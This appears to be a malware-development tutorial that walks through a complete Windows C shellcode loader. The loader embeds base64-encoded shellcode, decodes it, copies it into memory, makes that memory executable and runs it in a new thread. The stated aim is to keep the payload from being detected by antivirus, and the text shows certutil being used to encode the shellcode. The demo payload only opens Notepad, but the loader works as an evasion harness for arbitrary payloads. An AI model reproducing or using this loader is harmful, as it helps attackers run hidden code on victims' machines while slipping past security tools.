Encoding the Shellcode in Base64

We encode/encrypt out payload, so that it can't be detected by the antivirus, so here's one way to do it.

```
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")

unsigned char base64_payload[] =
"/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA"
"rDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhE"
"i0AgSQHQ41ZI/81BizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhE"
"i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhB"
"WVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/"
"1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/Vbm90ZXBhZC5leGUA";

unsigned int base64_payload_len = sizeof(base64_payload);

// Decodes Base64 Payload To Binary And Copies To Allocated Memory
int DecodeBase64andCopyToAllocMemory( const BYTE * base64_source, unsigned int sourceLength, char * allocated_mem, unsigned int destinationLength ) {

    DWORD outputLength;
    BOOL cryptResult;

    outputLength = destinationLength;
    cryptResult = CryptStringToBinary( (LPCSTR) base64_source, sourceLength, CRYPT_STRING_BASE64, (BYTE * )allocated_mem, &outputLength, NULL, NULL);

    if (!cryptResult) outputLength = 0;  // failed

    return( outputLength );
}


int main(void) {

    void * alloc_mem;
    BOOL retval;
    HANDLE threadHandle;
    DWORD oldprotect = 0;

    // Allocate new memory buffer for payload
    alloc_mem = VirtualAlloc(0, base64_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "base64_payload addr", (void *)base64_payload);
    printf("%-20s : 0x%-016p\n", "alloc_mem addr", (void *)alloc_mem);

    printf("\n[1] Press Enter to DecodeBase64andCopyToAllocatedMemory\n");
    getchar();

    // Decodes Base64 Payload To Binary And Copies To Allocated Memory
    DecodeBase64andCopyToAllocMemory((const BYTE *)base64_payload, base64_payload_len, (char *) alloc_mem, base64_payload_len);

    // Set the newly allocated memory to be executable
    retval = VirtualProtect(alloc_mem, base64_payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\n[2] Press Enter to Create Thread\n");
    getchar();

    // If VirtualProtect succeeded, run the thread that contains the shellcodePayload
    if ( retval != 0 ) {
            threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) alloc_mem, 0, 0, 0);
            WaitForSingleObject(threadHandle, -1);
    }

    return 0;
```

Here we can see to decode the base64 payload I have implemented a function:

```
// Decodes Base64 Payload To Binary And Copies To Allocated Memory
DecodeBase64andCopyToAllocMemory((const BYTE *)base64_payload, base64_payload_len, (char *) alloc_mem, base64_payload_len);
```

So as we can it is taking 4 parameters:

1. Shellcode
2. Size of the Shellcode
3. Allocated Memory Address
4. Size of Shellcode

Here's how the payload looks like:

```
// Decodes Base64 Payload To Binary And Copies To Allocated Memory
int DecodeBase64andCopyToAllocMemory( const BYTE * base64_source, unsigned int sourceLength, char * allocated_mem, unsigned int destinationLength ) {

    DWORD outputLength;
    BOOL cryptResult;

    outputLength = destinationLength;
    cryptResult = CryptStringToBinary( (LPCSTR) base64_source, sourceLength, CRYPT_STRING_BASE64, (BYTE * )allocated_mem, &outputLength, NULL, NULL);

    if (!cryptResult) outputLength = 0;  // failed

    return( outputLength );
}
```

Here I am using the Windows function "CryptStringToBinary".

And it takes seven parameters:

```
C++                                                                    Copy

BOOL CryptStringToBinaryA(
  [in]      LPCSTR pszString,
  [in]      DWORD  cchString,
  [in]      DWORD  dwFlags,
  [in]      BYTE   *pbBinary,
  [in, out] DWORD  *pcbBinary,
  [out]     DWORD  *pdwSkip,
  [out]     DWORD  *pdwFlags
);
```

1. For the 1st parameter I have used Shellcode
2. Then Size of the payload
3. Then to convert from base64, I have used “CRYPT_STRING_BASE64”.

```
CRYPT_STRING_BASE64                Base64, without headers.
0x00000001
```

4. Then the allocated memory address
5. Then the size of the shellcode

Then on return:

If the function succeeds, the return value is nonzero (TRUE).

If the function fails, the return value is zero (FALSE).

So, if it couldn’t decode, then it just exits out.

Then the usual code is there.

So, for the encoding the shellcode to base64, we do it in this manner:

```
FLARE-VM 04-04-2024 13:25:26.66
C:\Users\Red\Desktop\project\08-base64_encoding_payload>certutil -encode notepad.bin notepad.b64
```

We just run this command in cmd, here we use certutil, then for the input we use notepad.bin.

So, this how it looks like:

```
1  -----BEGIN CERTIFICATE-----
2  /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA
3  rDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhE
4  i0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhE
5  i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhB
6  WVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/
7  1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/Vbm90ZXBhZC5leGUA
8  -----END CERTIFICATE-----
9
```

Now we just copy this encoded shellcode in out .cpp file, then execute it.

So as we can see here, when we run the .exe file, the notepad also gets opened.